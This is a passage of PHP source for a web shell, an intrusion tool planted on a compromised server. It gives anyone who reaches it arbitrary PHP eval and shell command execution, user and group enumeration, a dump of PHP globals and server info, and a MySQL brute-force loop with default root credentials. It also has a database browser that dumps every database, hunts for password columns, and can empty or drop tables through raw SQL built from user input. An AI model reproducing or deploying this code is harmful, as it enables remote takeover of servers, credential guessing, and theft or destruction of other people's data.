779 echo fgets($handle, 4096);
780 }
781 fclose ($handle);
782 } else {
783 echo "Could not open tar. Weird.";
784 }
785 if(file_exists($tmpfile)) unlink($tmpfile);
786 } else echo "tar failed: ".htmlentities($cmdd)."<br /> ".nl2br(htmlentities(print_r($output,true)))." <hr /> (".htmlentities($ret).") / (".htmlentities($tmpfile).")";
787 if(file_exists($tmpfile)) unlink($tmpfile);
788 }
789 }
790 } else {
791 echo "<font color=\"#990000\">";
792 if(!file_exists($dir)) echo "<b>Error:</b> \"".htmlentities($dir)."\" does not exist.<br>";
793 else echo "<b>Error:</b> \"".htmlentities($dir)."\" is not a directory<br>";
794 echo "</font>";
795 }
796 }
797 break;
798 case "touch":
799 $file = get('file');
800 $info = pathinfo($file);
801 if($file) {
802 if(@touch($file)) {
803 echo "<font color=\"#00AA00\"><b>File \"".htmlentities($file)."\" touched successfully!</b></font><br><a href=\"".htmlentities($_SERVER['SCRIPT_NAME'])."?action=dir&dir=".urlencode($info['dirname'])."\">to the directory</a><br><a href=\"".htmlentities($_SERVER['SCRIPT_NAME'])."?action=file&file=".urlencode($file)."\">to the file</a><br><a href=\"".htmlentities($_SERVER['SCRIPT_NAME'])."?action=dir\">to the directory listing</a><br>";
804 } else echo "<font color=\"#990000\"><b>Error:</b> file \"".htmlentities($file)."\" could not be touched (Denied!)</font><br><a href=\"".htmlentities($_SERVER['SCRIPT_NAME'])."?action=dir&dir=".urlencode($info['dirname'])."\">to the directory</a><br><a href=\"".htmlentities($_SERVER['SCRIPT_NAME'])."?action=dir\">to the directory listing</a><br>";
805 }
806 break;
807 case "mkdir":
808 $dir = get('dir');
809 if($dir) {
810 if(@mkdir($dir)) {
811 echo "<font color=\"#00AA00\"><b>directory \"".htmlentities($dir)."\" made successfully!</b></font><br><a href=\"".htmlentities($_SERVER['SCRIPT_NAME'])."?action=dir&dir=".urlencode($dir)."\">to the directory</a><br><a href=\"".htmlentities($_SERVER['SCRIPT_NAME'])."?action=dir\">to the directory listing</a><br>";
812 } else echo "<font color=\"#990000\"><b>Error:</b> directory \"".htmlentities($dir)."\" could not be made (Denied!)</font><br><a href=\"".htmlentities($_SERVER['SCRIPT_NAME'])."?action=dir\">to the directory listing</a><br>";
813 }
814 break;
815 case "eval":
816 if(!request('shownone')) {
817 ?>
818 Eval (execute) this code:
819 <form method="POST" action="?action=eval">
820 <input type="checkbox" name="shownone" value="1" <?php if(request('shownone')) echo "CHECKED";?>> Do not echo out anything except for the output of the executed code<br>
821 <input type="checkbox" name="showallerrors" value="1" <?php if(request('showallerrors')) echo "CHECKED";?>> Show all PHP errors, warnings and notices<br>
822 <textarea name="eval" style="width:90%;height:500;"><?php echo htmlentities(request('eval'));?></textarea><br>
823 <input type="submit" value="execute">
824 </form>
825 <?php
826 }
827 if(request('eval')) {
828 if(!request('shownone')) echo "evaling PHP Code below:<hr>";
829 if(request('showallerrors')) {
830 @ini_set("error_reporting", "E_ALL");
831 @error_reporting(E_ALL);
832 }
833 eval(request('eval'));
834 }
835 break;
836 case "shellexec":
837 ?>
838 execute this shell (one command per line):
839 <form method="POST" action="?action=shellexec">
840 <textarea name="shellexec" style="width:90%;height:500;"><?php echo htmlentities(request('shellexec'));?></textarea><br>
841 <input type="checkbox" name="processasmany" value="1" <?php if(request('processasmany')) echo "CHECKED"; ?>> Proccess seperately (only check if the commands don't have anything to do with each other)
842 <input type="submit" value="execute">
843 </form>
844 <?php
845 if(request('shellexec')) {
846 if(!request('processasmany')) {
847 echo "executing shell below:<hr><pre>";
848 echo "<b>".htmlentities(request('shellexec'))."</b><hr><br>".htmlentities(shell_exec(str_replace("\r","",request('shellexec'))))."<hr>";
849 echo "<hr></pre>";
850 } else {
851 $commands = explode("\n",str_replace("\r","",request('shellexec')));
852 echo "executing shell below:<hr><pre>";
853 foreach($commands as $cmd) echo "<b>".htmlentities($cmd)."</b><hr><br>".htmlentities(shell_exec($cmd))."<hr>";
854 echo "<hr></pre>";
855 }
856 }
857 break;
858 case "exec":
859 ?>
860 execute this program (one command per line):
861 <form method="POST" action="?action=exec">
862 <textarea name="exec" style="width:90%;height:500;"><?php echo htmlentities(request('exec'));?></textarea><br>
863 <input type="submit" value="execute">
864 </form>
865 <?php
866 if(request('exec')) {
867 $commands = explode("\n",str_replace("\r","",request('exec')));
868 echo "executing below:<hr><pre>";
869 foreach($commands as $cmd) { if(trim($cmd)) { exec($cmd,$output,$ret); echo "<b>".htmlentities($cmd)."</b><hr><br>".htmlentities(print_r($output,true))."<hr>Return status:".htmlentities($ret)."<hr>";}}
870 echo "<hr></pre>";
871 }
872 break;
873 case "phpinfo":
874 phpinfo();
875 break;
876 case "system":
877 ?>
878 <h2>System</h1>
879 <?php $sys = posix_uname(); ?>
880 Sysname: <?php echo htmlentities($sys['sysname']); ?><br />
881 nodename: <?php echo htmlentities($sys['nodename']); ?><br />
882 release: <?php echo htmlentities($sys['release']); ?><br />
883 version: <?php echo htmlentities($sys['version']); ?><br />
884 machine: <?php echo htmlentities($sys['machine']); ?><br />
885 <?php
886 if(isset($_GET['start']) && (int)get('start')) $start = (int)get('start');
887 else $start = 0;
888 if(isset($_GET['end']) && (int)get('end')) $end = (int)get('end');
889 else $end = 20000;
890 if(isset($_GET['startg']) && (int)get('startg')) $startg = (int)get('startg');
891 else $startg = 0;
892 if(isset($_GET['endg']) && (int)get('endg')) $endg = (int)get('endg');
893 else $endg = 500;
894 ?>
895 <form method="get">
896 <input type="hidden" name="action" value="system" /><br />
897 <b>UID Range:</b><br />
898 Start: <input type="text" name="start" value="<?php echo $start; ?>" /><br />
899 End: <input type="text" name="end" value="<?php echo $end; ?>" /><br />
900 <b>GID Range:</b><br />
901 Start: <input type="text" name="startg" value="<?php echo $startg; ?>" /><br />
902 End: <input type="text" name="endg" value="<?php echo $endg; ?>" /><br />
903 <input type="submit" />
904 </form>
905 <h2>Users</h2>
906 <ul>
907 <?php
908 for($i = $start;$i < $end;$i++) {
909 $user = posix_getpwuid($i);
910 if($user) {
911 echo "<li> <b>".htmlentities($user['name'])."</b>
912 <blockquote>passwd: ".htmlentities($user['passwd'])."<br /> uid/gid: ".htmlentities($user['uid'])." / ".htmlentities($user['gid'])."<br /><!--gecos: ".htmlentities($user['gecos'])."<br />-->dir: ".htmlentities($user['dir'])."<br /><!--shell: ".htmlentities($user['shell'])."--></blockquote></li>";
913 } elseif($user === null) {
914 echo "<li> <b>Error:</b> posix_getpwuid() returned null. Should either return array or false. This most likely means it is disabled on this server. Stopping.</li>";
915 break;
916 }
917
918 }?>
919 </ul>
920 <h2>Groups</h2>
921 <ul>
922 <?php
923 for($i = $startg;$i < $endg;$i++) {
924 $group = posix_getgrgid($i);
925 if($group) {
926 echo "<li> <b>".htmlentities($group['name'])."</b>
927 <blockquote>passwd: ".htmlentities($group['passwd'])."<br /> gid: ".htmlentities($group['gid'])."<br /> Members: <ul>";
928 foreach($group['members'] as $member) {
929 echo "<li>".$member."</li>";
930 }
931 echo "</ul></blockquote></li>";
932 }
933
934 }//echo "<pre>";print_r(posix_getgrgid(103));print_r(posix_getgrgid(50));
935 ?>
936 </ul>
937 <?php
938 break;
939 case "showglobals":
940 echo "<pre>";
941 echo htmlentities(print_r($GLOBALS,true));
942 echo"</pre>";
943 break;
944 case "mysql":
945 switch(get('type')) {
946 default:
947 ?>
948 [<a href="?action=mysql&type=bf">Brute Force</a>]
949 [<a href="?action=mysql&type=query">Query</a>]
950 [<a href="?action=mysql&type=miniadmin">MiniAdmin</a>]
951 <?php
952 break;
953 case "bruteforce":
954 case "bf":
955 if(!post('users') || !post('passes')) {
956 ?>
957 <form method="POST" action="?action=mysql&type=bruteforce">
958 <h3 style="margin:2px;">Brute force:</h3>
959 <textarea name="users" style="width:40%;height:350;"><?php echo (post('users') ? htmlentities(post('users')) : "root\nmysql\n".@get_current_user());?></textarea> <textarea name="passes" style="width:40%;height:350;"><?php echo (post('passes') ? htmlentities(post('passes')) : "\n\nmysql\n".@get_current_user());?></textarea><br>
960 <input type="submit" value="execute">
961 </form>
962 <?php
963 } else {
964 $passes = explode("\n",str_replace("\r","",post('passes')));
965 $users = explode("\n",str_replace("\r","",post('users')));
966 foreach($users as $user) {
967 foreach($passes as $pass) {
968 if(@mysql_pconnect('localhost',$user,$pass)) {
969 echo "<b>Success</b> with combination: <input type=\"text\" value=\"".htmlentities($user)."\" size=\"12\" />: <input type=\"text\" value=\"".htmlentities($pass)."\" size=\"12\" /><br />";
970 } else {
971 echo "Failure with combination: <input type=\"text\" value=\"".htmlentities($user)."\" size=\"12\" />: <input type=\"text\" value=\"".htmlentities($pass)."\" size=\"12\" /><br />";
972 }
973 }
974 }
975 }
976 break;
977 case "query":
978 if(!isset($_POST['user']) || !isset($_POST['pass']) || !post('query')) {
979 ?>
980 <form method="post" action="?action=mysql&type=query">
981 MySQL host: <input type="text" name="host" value="<?php echo (post('host') ? htmlentities(post('host')) : 'localhost'); ?>" /><br />
982 MySQL user*: <input type="text" name="user" value="<?php echo htmlentities(post('user')); ?>" /><br />
983 MySQL pass: <input type="text" name="pass" value="<?php echo htmlentities(post('pass')); ?>" /><br />
984 MySQL database: <input type="text" name="database" value="<?php echo htmlentities(post('database')); ?>" /><br />
985 <textarea style="width:90%;height:300px;" name="query"><?php echo htmlentities(post('query')); ?></textarea><br />
986 Queries seperated by newlines.<br />
987 <input type="checkbox" name="cancelonfail" value="1" <?php if(post('cancelonfail')) echo "CHECKED"; ?>>Stop if a query fails?<br />
988 <input type="submit" value="Do it!" />
989 </form>
990 <b>Useful Queries:</b><br />
991 <ul>
992 <li>SHOW DATABASES;</li>
993 <li>USE <i>[database name]</i>;</li>
994 <li>SHOW TABLES;</li>
995 <li>SHOW COLUMNS IN <i>[table name]</i>;</li>
996 <li>SELECT * FROM <i>[table name]</i> LIMIT <i>1</i>;</li>
997 <li>SELECT * FROM <i>[table name]</i> WHERE <i>[column name]</i>='<i>value</i>' LIMIT <i>1</i>;</li>
998 <li>DELETE FROM <i>[table name]</i> WHERE <i>[column name]</i>='<i>value</i>' LIMIT <i>1</i>;</li>
999 <li>DELETE FROM <i>[table name]</i>;</li>
1000 <li>UPDATE <i>[table name]</i> SET <i>[column name]</i>='<i>value</i>', <i>[column name]</i>='<i>value</i>' WHERE <i>[column name]</i>='<i>value</i>' LIMIT <i>1</i>;</li>
1001 </ul>
1002 <?php
1003 } else {
1004 $connection = @mysql_pconnect((post('host') ? post('host') : 'localhost'),post('user'),post('pass')) or die('<b>Error:</b> Could not connect to the server. Wrong pass/user?');
1005 echo "Connection established.<br />";
1006 if(post('database')) {
1007 @mysql_select_db(post('database'),$connection) or die('<b>Error:</b> no connection to the database. Does it exist?');
1008 echo "Database selected.<br />";
1009 }
1010 $queries = explode("\n",str_replace("\r","",post('query')));
1011 foreach($queries as $query) {
1012 if($query) {
1013 echo "<blockquote>";
1014 if($q = mysql_query($query)) {
1015 $aff_row = mysql_affected_rows();
1016 echo "Query successful! (".$aff_row." affected rows)<br /><input type=\"text\" style=\"width:90%;\" value=\"".htmlentities($query)."\" /><br />";
1017 if(is_resource($q)) {
1018 echo "<b>Query Result:</b><br />";
1019 echo "<blockquote>";
1020 while($qr = mysql_fetch_assoc($q)) {
1021 echo "<pre>".htmlentities(print_r($qr,true))."</pre><hr />";
1022 }
1023 echo "</blockquote>";
1024 } else {
1025 echo "Query is resultless. (this means it's a query that will never return anything - like update or delete, not an empty select)<br />";
1026 }
1027 } else {
1028 echo "<b>Query failed!</b><br />Query: <input type=\"text\" style=\"width:90%;\" value=\"".htmlentities($query)."\" /><br /><b>MySQL error:</b> ".mysql_error()."<br />";
1029 if(post('cancelonfail')) {
1030 echo "</blockquote><hr />Query failed! stopping!<br />";
1031 break;
1032 }
1033 }
1034 echo "</blockquote><hr />";
1035 }
1036 }
1037 echo "All done!<br />";
1038 }
1039 break;
1040 case "miniadmin":
1041 if(isset($_GET['u']) && isset($_GET['p'])) {
1042 $url = $_SERVER['SCRIPT_NAME']."?action=mysql&type=miniadmin&h=".urlencode(get('h'))."&u=".urlencode(get('u'))."&p=".urlencode(get('p'));
1043 if($mcon = @mysql_pconnect((get('h') ? get('h') : 'localhost'),get('u'),get('p'))) {
1044 if(!get('shownone')) {
1045 echo "<b>".htmlentities(get('h'))."</b> - ".htmlentities(get('db'))."<br />";
1046 $databases = mysql_list_dbs();
1047 echo "Databases: | ";
1048 while ($row = mysql_fetch_row($databases)) {
1049 if(get('db') != $row[0]) echo "<a href=\"".$url."&db=".htmlentities(urlencode($row[0]))."\">".$row[0]."</a> | \n";
1050 else echo "<b>".$row[0]."</b> | ";
1051 }
1052 echo "<hr />";
1053 }
1054 if(get('db')) {
1055 $urld = $_SERVER['SCRIPT_NAME']."?action=mysql&type=miniadmin&h=".urlencode(get('h'))."&u=".urlencode(get('u'))."&p=".urlencode(get('p'))."&db=".urlencode(get('db'));
1056 if(@mysql_select_db(get('db'),$mcon)) {
1057 if(!get('shownone')) {
1058 $tables = mysql_query("SHOW TABLES");
1059 if($tables) {
1060 echo "Tables: | ";
1061 while ($row = mysql_fetch_row($tables)) {
1062 if(get('tb') != $row[0]) echo "<a href=\"".$url."&db=".get('db')."&tb=".$row[0]."\">".$row[0]."</a> | \n";
1063 else echo "<b>".$row[0]."</b> | ";
1064 }
1065 echo "<hr />";
1066 } else {
1067 echo "<b>Error:</b> The SHOW TABLES query failed! (".mysql_error().")<hr />";
1068 }
1069 }
1070 if(get('tb')) {
1071 $urlt = $_SERVER['SCRIPT_NAME']."?action=mysql&type=miniadmin&h=".urlencode(get('h'))."&u=".urlencode(get('u'))."&p=".urlencode(get('p'))."&db=".urlencode(get('db'))."&tb=".urlencode(get('tb'));
1072 switch(get('ta')) {
1073 default:
1074 $getcolumns = mysql_query("SHOW COLUMNS IN `".mysql_real_escape_string(get('tb'))."`");
1075 if($getcolumns) {
1076 ?><table border="1"><tr><td>Field</td><td>type</td><td>Key</td><td>default</td><td>AI?</td><td>Null?</td></tr><?php
1077 while($column = mysql_fetch_assoc($getcolumns)) {
1078 echo "<tr><td>".htmlentities($column['Field'])."</td><td>".htmlentities($column['Type'])."</td><td>".htmlentities(($column['Key'] ? $column['Key'] : 'none'))."</td><td>".htmlentities($column['Default'])."</td><td>".($column['Extra'] == "auto_increment" ? "y" : "n")."</td><td>".htmlentities($column['Null'])."</td></tr>";
1079 }
1080 ?></table><br /><?php
1081 } else die ("<b>Error:</b> Could not retrieve columns!<br />");
1082 list($totalrows) = mysql_fetch_row(mysql_query("SELECT COUNT(1) FROM `".mysql_real_escape_string(get('tb'))."`"));
1083 echo "Number of entries: ".$totalrows."<br />";
1084 echo "<hr />";
1085 break;
1086 case "delrow":
1087 echo "<b>Deleting a row</b><br />";
1088 $iden = get('trid');
1089 if($query = get_iden_query($iden)) {
1090 $getrow = mysql_query("SELECT * FROM `".mysql_real_escape_string(get('tb'))."` WHERE ".$query." LIMIT 1");
1091 if($getrow && $rowdata = mysql_fetch_assoc($getrow)) {
1092 echo "Row found!<br />";
1093 if(!post('sure')) {
1094 echo "<b>Are you sure you want to delete this row?</b><br /><form method='post'><input type='checkbox' name='sure' value='1' />Yes<br /><input type='submit'></form><b>Rowdata:</b><br />";
1095 foreach($rowdata as $key => $val) {
1096 echo "<u>".htmlentities($key)."</u>: <br />";
1097 echo "<textarea>".htmlentities($val)."</textarea><br /><br />";
1098 }
1099 } else {
1100 $quer = "DELETE FROM `".mysql_real_escape_string(get('tb'))."` WHERE ".$query." LIMIT 1";
1101 echo "Query: <input type=\"text\" style=\"width:90%;\" value=\"".htmlentities($quer)."\" /><br />";
1102 if(mysql_query($quer)) {
1103 echo "Deleted row successfully";
1104 } else echo "<b>Mysql error while deleting:</b> ".htmlentities(mysql_error());
1105 }
1106 } else echo "Error: This row could not be found. Have you already deleted it?";
1107 }
1108 echo "<hr />";
1109 break;
1110 case "editrow":
1111 echo "<b>Editing a row</b><br />";
1112 $iden = get('trid');
1113 if($query = get_iden_query($iden)) {
1114 $getrow = mysql_query("SELECT * FROM `".mysql_real_escape_string(get('tb'))."` WHERE ".$query." LIMIT 1");
1115 if($getrow && $rowdata = mysql_fetch_assoc($getrow)) {
1116 echo "Row found!<br /><br />";
1117 if(!$_POST) {
1118 echo "<form method='post'><b>Edit the values below:</b><br />";
1119 foreach($rowdata as $key => $val) {
1120 echo "<u>".htmlentities($key)."</u>: <br />";
1121 echo "<textarea style='width:90%;height:110px;' name=\"".htmlentities($key)."\">".htmlentities($val)."</textarea><br /><br />";
1122 }
1123 echo "<input type='submit' value='Edit!' /></form>";
1124 } else {
1125 $q2 = "";
1126 foreach($rowdata as $key => $val) {
1127 if(isset($_POST[$key]) && post($key) != $val) $q2 .= ($q2 ? ', ' : '')."`".$key."`='".post($key)."'";
1128 }
1129 if($q2) {
1130 $quer = "UPDATE `".mysql_real_escape_string(get('tb'))."` SET ".$q2." WHERE ".$query." LIMIT 1";
1131 echo "Query: <input type=\"text\" style=\"width:90%;\" value=\"".htmlentities($quer)."\" /><br />";
1132 if(mysql_query($quer)) {
1133 echo "Edited row successfully";
1134 } else echo "<b>Mysql error while editing:</b> ".htmlentities(mysql_error());
1135 } else echo "Error: You didn't change any rows!";
1136 }
1137 } else echo "Error: This row could not be found. Have you already deleted it?";
1138 }
1139 echo "<hr />";
1140 break;
1141 case "view":
1142 $getcolumns = mysql_query("SHOW COLUMNS IN `".mysql_real_escape_string(get('tb'))."`");
1143 if($getcolumns) {
1144 $columns = array();
1145 while($column = mysql_fetch_assoc($getcolumns)) {
1146 $columns[] = $column;
1147 }
1148 } else die("<b>Error:</b> Could not retrieve columns! (".mysql_error().")<br />");
1149 $s = ((int)get('s') ? (int)get('s') : 0);
1150 $n = ((int)get('n') ? (int)get('n') : 100);
1151 $limit = $s.",".$n;
1152
1153 $userwhere = "";
1154 if(get('cwhere')) {
1155 //if(substr(trim(get('cwhere')),0,5) != 'where') $userwhere = "WHERE ".get('chwere');
1156 $userwhere = get('cwhere');
1157 }
1158
1159 $query = "SELECT * FROM `".mysql_real_escape_string(get('tb'))."` ".$userwhere." LIMIT ".$limit;
1160 $getrows = mysql_query($query);
1161 echo 'Query: <input type="text" value="'.htmlentities($query).'" size="100" /><br />';
1162 echo '<form method="get" style="display:inline;">';
1163 foreach($_GET as $k => $v) if(!in_array($k,array("s","cwhere"))) echo "<input type=\"hidden\" name=\"".htmlentities($k)."\" value=\"".htmlentities($v)."\" />";
1164 echo 'Your custom additions: <input type="text" name="cwhere" value="'.(get('cwhere') ? htmlentities(get('cwhere')) : 'WHERE 1').'" size="60" /><input type="submit" value="change query"></form><br />';
1165 if($getrows) {
1166 list($totalrows) = mysql_fetch_row(mysql_query("SELECT COUNT(1) FROM `".mysql_real_escape_string(get('tb'))."` ".$userwhere));
1167 echo '<b>Page '.($n ? ($s/$n)+1 : 1).'</b> (Selecting '.$n.' out of a total of '.$totalrows.' rows, starting at '.$s.')<br />';
1168 if(($s-$n) >= 0) echo '[<a href="'.$urlt.'&ta=view&s='.($s-$n).'&n='.$n.(get('cwhere') ? '&cwhere='.htmlentities(urlencode(get('cwhere'))) : '' ).'"><<Page</a>]';
1169 if(($s+$n) <= $totalrows) echo '[<a href="'.$urlt.'&ta=view&s='.($s+$n).'&n='.$n.(get('cwhere') ? '&cwhere='.htmlentities(urlencode(get('cwhere'))) : '' ).'">Page>></a>]';
1170 echo "<table border='1'>\n<tr>";
1171 echo "<td>#</td><td></td>";
1172 $prim = array();
1173 foreach($columns as $column) {
1174 echo "<td>".($column['Key'] ? "<b>" : "").htmlentities($column['Field']).($column['Key'] ? "</b>" : "")." <i>(".htmlentities($column['Type']).")</i></td>";
1175 if($column['Key'] == "PRI") $prim[] = $column;
1176 }
1177 if(!$prim) $prim = $columns;
1178 echo "</tr>\n";
1179 $i = $s;
1180 while($row = mysql_fetch_assoc($getrows)) {
1181 $outp = "";
1182 $primaries = "";
1183 foreach($columns as $column) {
1184 if(in_array($column,$prim)) $primaries .= ($primaries ? "&" : "").urlencode($column['Field'])."=".htmlentities(urlencode($row[$column['Field']]));
1185 $outp .= "<td>";
1186 $size = 0;
1187 if(strpos($column['Type'],"(") === false) list($type) = explode("(",str_replace(")","",$column['Type']),2);
1188 else list($type,$size) = explode("(",str_replace(")","",$column['Type']),2);
1189 $size = intval($size);
1190 switch($type) {
1191 default: $outp .= htmlentities($row[$column['Field']]); break;
1192 case "int": $outp .= $row[$column['Field']]; break;
1193 case "varchar": case "char": $outp .= '<input type="text" size="'.(($size > 0 && $size < 20) ? $size : 25).'" value="'.htmlentities($row[$column['Field']]).'" />'; break;
1194 case "text": case "longtext": $outp .= '<textarea style="width:200px; height:50px;">'.htmlentities($row[$column['Field']]).'</textarea>'; break;
1195 }
1196 $outp .= "</td>";
1197 }
1198 $identification = "trid=".base64_encode($primaries);
1199 echo "<tr ".(($i%2) ? 'bgcolor="#EEEEEE"' : '')."><td>".$i."</td><td><a href='".$urlt."&ta=delrow&".$identification."'>X</a> <a href='".$urlt."&ta=editrow&".$identification."'>E</a></td>";
1200 $outp .= "</tr>\n";
1201 echo $outp;
1202 $i++;
1203 }
1204 echo "</table>";
1205 if(($s-$n) >= 0) echo '[<a href="'.$urlt.'&ta=view&s='.($s-$n).'&n='.$n.(get('cwhere') ? '&cwhere='.htmlentities(urlencode(get('cwhere'))) : '' ).'"><<Page</a>]';
1206 if(($s+$n) <= $totalrows) echo '[<a href="'.$urlt.'&ta=view&s='.($s+$n).'&n='.$n.(get('cwhere') ? '&cwhere='.htmlentities(urlencode(get('cwhere'))) : '' ).'">Page>></a>]';
1207 } else echo "<b>Error:</b> Could not get data due to mysql error (".mysql_error().")<br />";
1208 echo "<hr />";
1209 break;
1210 case "empty":
1211 if(post('sure')) {
1212 $query = "DELETE FROM `".mysql_real_escape_string(get('tb'))."`";
1213 echo 'Query: <input type="text" value="'.htmlentities($query).'" size="100" /><br />';
1214 if(mysql_query($query)) echo "Successfully emptied the table!<br />";
1215 else echo "MySQL error while emptying table: ".mysql_error()."<br />";
1216 } else {
1217 ?>
1218 <form method="post" action="<?php echo htmlentities($urlt);?>&ta=empty">Are you sure you want to empty the table '<?php echo htmlentities(get('tb')); ?>'? This cannot be reversed. <br /><input type="checkbox" name="sure" value="1" />Yes.<br /><input type="submit" value="Yes" /></form>
1219 <?php
1220 }
1221 echo "<hr />";
1222 break;
1223 case "drop":
1224 if(post('sure')) {
1225 $query = "DROP TABLE `".mysql_real_escape_string(get('tb'))."`";
1226 echo 'Query: <input type="text" value="'.htmlentities($query).'" size="100" /><br />';
1227 if(mysql_query($query)) echo "Successfully dropped the table!<br />";
1228 else echo "MySQL error while dropping the table: ".mysql_error()."<br />";
1229 } else {
1230 ?>
1231 <form method="post" action="<?php echo htmlentities($urlt);?>&ta=drop">Are you sure you want to drop the table '<?php echo htmlentities(get('tb')); ?>'? This cannot be reversed. <br /><input type="checkbox" name="sure" value="1" />Yes.<br /><input type="submit" value="Yes" /></form>
1232 <?php
1233 }
1234 echo "<hr />";
1235 break;
1236 case "dlsql":
1237 @header("Content-Disposition: attachment; filename=\"".get('h')."-".get('db')."-".get('tb').".sql\"");
1238 @header("Content-type: text/plain");
1239 list($ver) = mysql_fetch_row(mysql_query("SELECT @@version"));
1240 echo "-- - table structure: ".get('h')." / ".get('db')." / ".get('tb')."\n-- -".date('r')."\n-- - mysql user: ".get('u')." MySQL version: ".$ver."\n";
1241 gettablesql(get('tb'));
1242 exit;
1243 break;
1244 case "dlsqldump":
1245 @set_time_limit(0);
1246 @header("Content-Disposition: attachment; filename=\"".get('h')."-".get('db')."-".get('tb')."-data.sql\"");
1247 @header("Content-type: text/plain");
1248 list($ver) = mysql_fetch_row(mysql_query("SELECT @@version"));
1249 echo "-- - table dump: ".get('h')." / ".get('db')." / ".get('tb')."\n-- - ".date('r')."\n-- - mysql user: ".get('u')." MySQL version: ".$ver."\n";
1250 gettablesql(get('tb'));
1251 gettablecontentsql(get('tb'),((int)get('break') ? (int)get('break') : 100));
1252 exit;
1253 break;
1254 }
1255 if(!get('shownone')) {
1256 echo '<b>Table actions:</b><br />[<a href="'.$urlt.'&ta=view&s=0&n=10">view data</a> 10/page] [<a href="'.$urlt.'&ta=view&s=0&n=50">view data</a> 50/page] [<a href="'.$urlt.'&ta=view&s=0&n=100">view data</a> 100/page] [<a href="'.$urlt.'&ta=view&s=0&n=200">view data</a> 200/page] [<a href="'.$urlt.'&ta=view&s=0&n=500">view data</a> 500/page] [<a href="'.$urlt.'&ta=view&s=0&n=1000">view data</a> 1000/page]<br />';
1257 echo '[<a href="'.$urlt.'">view structure</a>] [<a href="'.$urlt.'&ta=empty">empty</a>] [<a href="'.$urlt.'&ta=drop">drop</a>] [<a href="'.$urlt.'&ta=insert">insert</a>] [<a href="'.$urlt.'&ta=dlsql&shownone=1">download table structure (sql)</a>] [<a href="'.$urlt.'&ta=dlsqldump&shownone=1">download table dump (sql)</a>]';
1258 echo "<hr />";
1259 }
1260 } else {//no table selected
1261 switch(get('da')) {
1262 default:
1263
1264 break;
1265 case "dlsql":
1266 @header("Content-Disposition: attachment; filename=\"".get('h')."-".get('db').".sql\"");
1267 @header("Content-type: text/plain");
1268 $gettables = mysql_query("SHOW TABLES");
1269 $tables = array();
1270 echo "-- - Database structure: ".get('h')." / ".get('db')."\n-- -".date('r')."\n";
1271 while($table= mysql_fetch_row($gettables)) {
1272 gettablesql($table[0]);
1273 }
1274 break;
1275 case "dlsqldump":
1276 @set_time_limit(0);
1277 @header("Content-Disposition: attachment; filename=\"".get('h')."-".get('db')."-data.sql\"");
1278 @header("Content-type: text/plain");
1279 $gettables = mysql_query("SHOW TABLES");
1280 $tables = array();
1281 list($ver) = mysql_fetch_row(mysql_query("SELECT @@version"));
1282 echo "-- - Database dump: ".get('h')." / ".get('db')."\n-- -".date('r')."\n-- - mysql user: ".get('u')." MySQL version: ".$ver."\n";
1283 while($table= mysql_fetch_row($gettables)) {
1284 echo "\n-- - Table structure: ".$table[0]."\n";
1285 gettablesql($table[0]);
1286 echo "\n-- - Table data: ".$table[0]."\n";
1287 gettablecontentsql($table[0],((int)get('break') ? (int)get('break') : 1000));
1288 echo "\n\n";
1289 }
1290 exit;
1291 break;
1292
1293 }
1294 }
1295 if(!get('shownone')) echo '<b>Database actions:</b> <br />[<a href="'.$urld.'&da=dlsql&shownone=1">download database structure (sql)</a>] [<a href="'.$urld.'&da=dlsqldump&shownone=1">download database dump (sql)</a>] <hr />';
1296
1297 } else {
1298 die( "<b>Error:</b> Selected database does not exist/can't be accessed.<br />");
1299 }
1300 } else {
1301 switch(get('a')) {
1302 case "findpwcols":
1303 echo "<b>Finding columns containing 'pass' or 'pw'</b><br />";
1304 $needle = array('pass','pw');
1305 findindb($needle,'col');
1306 echo "<hr />";
1307 break;
1308 case "find":
1309 if(post('find')) {
1310 echo "<b>Finding columns containing ".htmlentities(post('find'))."</b><br />";
1311 $needle = explode(",",str_replace(" ","",post('find')));
1312 if(post('type') == 'col') findindb($needle,'col',(post('stype') == 1));
1313 else findindb($needle,'table',(post('stype') == 1));
1314 echo "<hr />";
1315 } else {
1316 ?>
1317 <form method="POST" action="<?php echo htmlentities($_SERVER['REQUEST_URI']); ?>">
1318 Find<br />
1319 <input type="radio" name="type" value="col" />columns <input type="radio" name="type" value="table" /> tables<br />
1320 <input type="radio" name="stype" value="0" />containing <input type="radio" name="stype" value="1" /> named<br />
1321 <input type="text" name="find" value="" /> (Separated by comma)<br />
1322 <input type="submit" value="Do it!" />
1323 </form>
1324 <?php
1325 }
1326 break;
1327 case "dlsql":
1328 @header("Content-Disposition: attachment; filename=\"".get('h')."-alldbs.sql\"");
1329 @header("Content-type: text/plain");
1330 $dbprefix = preg_replace('~^([^\\d\\w_\\-]*)$~is','',get('dbprefix'));
1331 $onlywithprefix = preg_replace('~^([^\\d\\w_\\-]*)$~is','',get('onlywithprefix'));
1332 $getdatabases = mysql_list_dbs();
1333 if($onlywithprefix ) echo "-- - Only tables with prefix: ".$onlywithprefix."\n";
1334 while ($db = mysql_fetch_row($getdatabases)) {
1335 if(!$onlywithprefix || substr($db[0],0,strtolower(strlen($onlywithprefix))) == strtolower($onlywithprefix)) {
1336 mysql_query("USE `".$db[0]."`");
1337 $gettables = mysql_query("SHOW TABLES");
1338 $tables = array();
1339 echo "-- - Database structure: ".get('h')." / ".$db[0]."\n-- - ".date('r')."\n";
1340 if($dbprefix) echo "-- - Added prefix: ".$dbprefix."\n";
1341 echo "CREATE DATABASE `".$dbprefix.$db[0]."`;\n";
1342 echo "USE `".$dbprefix.$db[0]."`;\n\n";
1343 while($table= mysql_fetch_row($gettables)) {
1344 gettablesql($table[0]);
1345 }
1346 } else {
1347 echo "-- - Skipping database: ".$db[0].", because of wrong prefix.\n";
1348 }
1349 }
1350 exit;
1351 break;
1352 }
1353 if(!get('shownone')) echo "<hr />";
1354 }
1355 if(!get('shownone')) echo '<b>General actions:</b> <br />[<a href="'.$url.'&a=findpwcols">Find columns probably containing passwords</a>] [<a href="'.$url.'&a=find">Search columns/tables</a>] [<a href="'.$url.'&a=dlsql&shownone=1">Download structure of all databases</a>]';
1356 } else {
1357 echo "<b>Error:</b> Could not connect to server (wrong pass?)<br />";
1358 $needlogin = 1;
1359 }
1360 } else $needlogin = 1;
1361 if(isset($needlogin)) {
1362 ?>
1363 <form method="GET" action="<?php echo htmlentities($_SERVER['SCRIPT_NAME']); ?>">
1364 <input type="hidden" name="action" value="mysql" />
1365 <input type="hidden" name="type" value="miniadmin" />
1366 Host: <input type="text" name="h" value="<?php echo (get('h') ? get('h') : 'localhost'); ?>" /><br />
1367 MySQL user: <input type="text" name="u" value="<?php echo get('u') ?>" /><br />
